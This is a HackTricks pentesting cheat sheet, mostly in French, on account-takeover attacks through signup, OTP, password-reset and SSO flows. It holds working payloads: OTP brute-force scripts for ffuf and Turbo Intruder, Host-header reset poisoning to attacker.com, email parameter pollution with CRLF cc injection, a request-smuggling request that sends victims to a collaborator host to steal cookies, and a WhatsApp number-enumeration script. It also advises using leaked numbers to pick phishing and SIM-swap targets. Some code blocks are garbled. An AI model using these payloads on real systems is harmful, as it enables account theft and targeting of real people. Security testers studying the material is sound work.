Inscription & Vulnérabilités de prise de contrôle

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Prise de contrôle par inscription

Inscription en double

  • Essayez de créer en utilisant un nom d’utilisateur existant
  • Essayez de varier l’email :
  • majuscules
  • +1@
  • ajoutez des points dans l’email
  • caractères spéciaux dans la partie locale de l’email (%00, %09, %20)
  • Mettez des caractères blancs après l’email : test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Essayez des astuces de canonicalization côté fournisseur d’email (dépend du service) :
  • Gmail ignore les points et le subaddressing : victim+1@gmail.com, v.ic.tim@gmail.com deliver to victim@gmail.com
  • Certains fournisseurs sont insensibles à la casse dans la partie locale
  • Certains fournisseurs acceptent des confusables unicode. Essayez des homoglyphs et le soft hyphen \u00AD dans la partie locale
  • Abusez-en pour : bypass uniqueness checks, obtenir des comptes en double/workspace invites, ou bloquer les inscriptions de la victime (temporary DoS) pendant que vous préparez une takeover

Énumération de noms d’utilisateur

Vérifiez si vous pouvez déterminer quand un nom d’utilisateur est déjà enregistré dans l’application.

  • Différents messages d’erreur ou codes de statut HTTP
  • Différences de temporisation (un utilisateur existant peut déclencher une lookup vers l’IdP/DB)
  • Autoremplissage du formulaire d’enregistrement avec les données du profil pour des emails connus
  • Vérifiez les flux d’équipe/invitation : entrer un email peut révéler si un compte existe

Politique de mot de passe

Lors de la création d’un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).
Dans ce cas vous pouvez tenter un bruteforce des credentials.

SQL Injection

Check this page pour apprendre comment tenter des account takeovers ou extraire des informations via SQL Injections dans les formulaires d’enregistrement.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Changer l’email

Une fois enregistré, essayez de changer l’email et vérifiez si ce changement est correctement validé ou si vous pouvez le remplacer par un email arbitraire.

Autres vérifications

  • Vérifiez si vous pouvez utiliser disposable emails (mailinator, yopmail, 1secmail, etc.) ou contourner la blocklist avec du subaddressing comme victim+mailinator@gmail.com
  • Long password (>200) entraîne un DoS
  • Vérifiez les rate limits sur la création de comptes
  • Utilisez username@burp_collab.net et analysez le callback
  • Si une vérification par numéro de téléphone est utilisée, vérifiez les cas limites de phone parsing/injection

Phone Number Injections

Captcha Bypass

Contact-discovery / oracles d’énumération d’identifiants

Les messengers centrés sur le numéro de téléphone exposent un presence oracle chaque fois que le client synchronise les contacts. Rejouer les discovery requests de WhatsApp a historiquement fourni >100M lookups per hour, permettant des énumérations de comptes quasi complètes.

Flux d’attaque

  1. Instrumentez un client officiel pour capturer la requête d’upload du carnet d’adresses (blob authentifié de numéros normalisés E.164). Rejouez-la avec des numéros générés par l’attaquant tout en réutilisant les mêmes cookies/device token.
  2. Batch numbers per request : WhatsApp accepte des milliers d’identifiants et renvoie registered/unregistered plus des métadonnées (business, companion, etc.). Analysez les réponses hors ligne pour construire des listes de cibles sans envoyer de messages aux victimes.
  3. Horizontally scale l’énumération avec des SIM banks, des cloud devices, ou des residential proxies afin que le throttling par compte/IP/ASN ne se déclenche jamais.

Modélisation du plan de numérotation

Modélisez le plan de numérotation de chaque pays pour éviter les candidats invalides. Le dataset NDSS (country-table.*) liste les indicatifs pays, la densité d’adoption et la répartition par plateforme afin que vous puissiez prioriser les plages à fort taux de réussite. Exemple de code d’amorçage :

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Turning enumerations into targeted attacks

  • Alimentez l’oracle avec des leaked phone numbers (p.ex., Facebook’s 2021 breach) pour déterminer quelles identités sont encore actives avant le phishing, le SIM-swapping ou le spamming.
  • Segmentez les recensements par pays / OS / type d’app pour identifier les régions avec un filtrage SMS faible ou une forte adoption de WhatsApp Business, propices à du social engineering localisé.

Public-key reuse correlation

WhatsApp expose la clé d’identité X25519 de chaque compte lors de l’établissement de la session. Demandez le matériel d’identité pour chaque numéro énuméré et dédupliquez les clés publiques pour révéler des account farms, des clients clonés ou un firmware non sécurisé — des clés partagées désanonymisent les opérations multi-SIM.

Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:

  • OTP devinable ou trop court (4–6 chiffres) sans rate limiting effectif ni suivi IP/appareil. Essayez des tentatives parallèles et la rotation des headers/IP.
  • Réutilisation de l’OTP entre actions ou comptes, ou non lié à l’utilisateur/action spécifique (p.ex., même code fonctionne pour connexion et inscription, ou fonctionne après changement d’email).
  • Multi-value smuggling: certains backends acceptent plusieurs codes et valident si l’un d’eux correspond. Essayez:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: distinguer ‘wrong’ vs ‘expired’ vs ‘wrong-user’ en se basant sur le statut/le message/la longueur du body.
  • Tokens non invalidés après succès ou après changement de mot de passe/email.
  • Le token de vérification non lié au user agent/IP, ce qui permet une complétion cross-origin depuis des pages contrôlées par l’attaquant.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Deviner en parallèle/concurremment pour contourner les verrouillages séquentiels (utilisez Turbo Intruder dans Burp) :

Extrait Turbo Intruder pour inonder des tentatives d'OTP à 6 chiffres ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Essayez la vérification en course : soumettez le même OTP valide simultanément dans deux sessions ; parfois une session devient un compte attaquant vérifié tandis que le flux de la victime réussit aussi.
- Testez aussi Host header poisoning sur les liens de vérification (même chose que reset poisoning ci‑dessous) pour leak ou compléter la vérification sur un hôte contrôlé par l'attaquant.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

Une classe puissante de problèmes survient lorsqu’un attaquant réalise des actions sur l’email de la victime avant que celle‑ci ne crée son compte, puis récupère l’accès plus tard.

Techniques clés à tester (adaptez-les aux flux de la cible) :

- Classic–Federated Merge
- Attacker : enregistre un compte classic avec l’email de la victime et définit un mot de passe
- Victim : s’inscrit ensuite via SSO (même email)
- Des merges non sécurisés peuvent laisser les deux parties connectées ou ressusciter l’accès de l’attaquant
- Unexpired Session Identifier
- Attacker : crée le compte et conserve une session longue durée (ne pas se déconnecter)
- Victim : récupère/définit le mot de passe et utilise le compte
- Testez si les anciennes sessions restent valides après un reset ou l’activation du MFA
- Trojan Identifier
- Attacker : ajoute un identifiant secondaire au compte pré‑créé (téléphone, email additionnel, ou lie l’IdP de l’attaquant)
- Victim : réinitialise le mot de passe ; l’attaquant utilise ensuite le trojan identifier pour reset/connexion
- Unexpired Email Change
- Attacker : initie un changement d’email vers l’email de l’attaquant et retient la confirmation
- Victim : récupère le compte et commence à l’utiliser
- Attacker : complète plus tard le changement d’email en attente pour voler le compte
- Non‑Verifying IdP
- Attacker : utilise un IdP qui ne vérifie pas la propriété de l’email pour affirmer `victim@…`
- Victim : s’inscrit via la méthode classic
- Le service fusionne sur la base de l’email sans vérifier `email_verified` ni effectuer une vérification locale

Conseils pratiques

- Récupérez les flux et endpoints depuis les bundles web/mobile. Cherchez classic signup, SSO linking, email/phone change et les endpoints de password reset.
- Créez une automation réaliste pour garder des sessions actives pendant que vous testez d’autres flux.
- Pour les tests SSO, déployez un IdP OIDC de test et émettez des tokens avec des claims `email` pour l’adresse de la victime et `email_verified=false` afin de vérifier si le RP fait confiance à des IdP non vérifiés.
- Après toute réinitialisation de mot de passe ou changement d’email, vérifiez que :
  - toutes les autres sessions et tokens sont invalidés,
  - les modifications d’email/téléphone en attente sont annulées,
  - les IdP/emails/téléphones précédemment liés sont revérifiés.

Note : Une méthodologie étendue et des études de cas de ces techniques sont documentées par la recherche de Microsoft sur le pre‑hijacking (voir Références à la fin).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Demandez un password reset vers votre adresse email
2. Cliquez sur le lien de password reset
3. Ne changez pas le mot de passe
4. Cliquez sur n’importe quel site tiers (ex : Facebook, twitter)
5. Interceptez la requête dans le proxy Burp Suite
6. Vérifiez si le referer header est en train de leak le token de password reset.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Interceptez la requête de password reset dans Burp Suite
2. Ajoutez ou éditez les headers suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forwardez la requête avec le header modifié\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Cherchez une URL de password reset basée sur le _host header_ comme : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR sur les paramètres API

  1. L’attaquant doit se connecter avec son compte et aller à la fonctionnalité Change password.
  2. Démarrer Burp Suite et intercepter la requête\
  3. Envoyez-la dans l’onglet repeater et modifiez les paramètres : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token de réinitialisation de mot de passe faible

Le token de réinitialisation de mot de passe doit être généré aléatoirement et être unique à chaque fois.
Essayez de déterminer si le token expire ou s’il est toujours le même ; dans certains cas l’algorithme de génération est faible et peut être deviné. Les variables suivantes peuvent être utilisées par l’algorithme.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Déclenchez une demande de réinitialisation de mot de passe via l’API/UI pour un email spécifique, p.ex.: test@mail.com
  2. Inspectez la réponse du serveur et vérifiez la présence de resetToken
  3. Utilisez ensuite le token dans une URL comme https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Réinitialisation de mot de passe via collision de nom d’utilisateur

  1. Inscrivez-vous sur le système avec un nom d’utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom. e.g: "admin "
  2. Demandez une réinitialisation de mot de passe avec votre nom d’utilisateur malveillant.
  3. Utilisez le token envoyé à votre email et réinitialisez le mot de passe de la victime.
  4. Connectez-vous au compte de la victime avec le nouveau mot de passe.

La plateforme CTFd était vulnérable à cette attaque.
See: CVE-2020-7245

Détournement de compte via Cross Site Scripting

  1. Trouvez un XSS dans l’application ou un sous-domaine si les cookies sont limités au domaine parent : *.domain.com
  2. Leak le sessions cookie actuel
  3. Authentifiez-vous en tant qu’utilisateur en utilisant le cookie

Détournement de compte via HTTP Request Smuggling

  1. Utilisez smuggler pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Fabriquez une requête qui écrasera le POST / HTTP/1.1 avec les données suivantes:
    GET http://something.burpcollaborator.net HTTP/1.1 X: dans le but de provoquer un open redirect des victimes vers burpcollab et voler leurs cookies\
  3. La requête finale pourrait ressembler à la suivante
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone rapporte l’exploitation de ce bug\

Prise de contrôle de compte via CSRF

  1. Créez un payload pour le CSRF, e.g: “HTML form with auto submit for a password change”
  2. Envoyez le payload

Prise de contrôle de compte via JWT

JSON Web Token peut être utilisé pour authentifier un utilisateur.

  • Modifiez le JWT avec un autre User ID / Email
  • Vérifiez si la signature JWT est faible

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim’s email will overwrite their password pre-auth.

  • Découverte : récupérer les noms d’endpoint depuis le bundled JS (ou le trafic de l’app mobile), puis fuzz des base paths comme /parents/application/v4/admin/FUZZ en utilisant ffuf/dirsearch.
  • Indications de méthode : un GET renvoyant des messages comme “Only POST request is allowed.” indique souvent le verbe correct et qu’un body JSON est attendu.
  • Corps minimal observé sur le terrain :
{"email":"victim@example.com","password":"New@12345"}

Exemple de PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impact : Full Account Takeover (ATO) without any reset token, OTP, or email verification.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks